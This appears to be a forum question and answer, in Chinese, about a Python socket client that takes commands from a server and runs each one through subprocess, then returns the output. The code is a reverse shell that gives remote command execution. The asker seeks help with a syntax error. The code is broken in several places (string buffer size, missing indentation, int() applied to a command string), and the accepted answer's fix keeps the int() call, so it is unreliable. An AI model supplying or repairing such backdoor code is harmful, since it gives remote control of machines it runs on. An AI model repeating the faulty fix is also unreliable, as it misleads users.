SERVER_HOST = "127.0.0.1"
SERVER_PORT = 2323
BUFFER_SIZE = "1024"
# create the socket object
s = socket.socket()
# connect to the server
s.connect((SERVER_HOST, SERVER_PORT))
while True:
# receive the command from the server
command = int((s.recv(BUFFER_SIZE).decode())
if command=="exit":
break
# execute the command and retrieve the results
output = subprocess.getoutput(command)
# send the results back to the server
s.send(output.encode())
# close client connection
s.close()

这是接收命令并执行命令的服务器客户端，但python说if的第41行有语法问题，我无法解决这个简单的问题，因为我知道是什么原因。我还尝试删除它，它为下一行代码打印了语法错误。

Answer 1

这部分代码int((s.recv(BUFFER_SIZE).decode())使用了一个额外的partentheses。请改用此int(s.recv(BUFFER_SIZE).decode())。
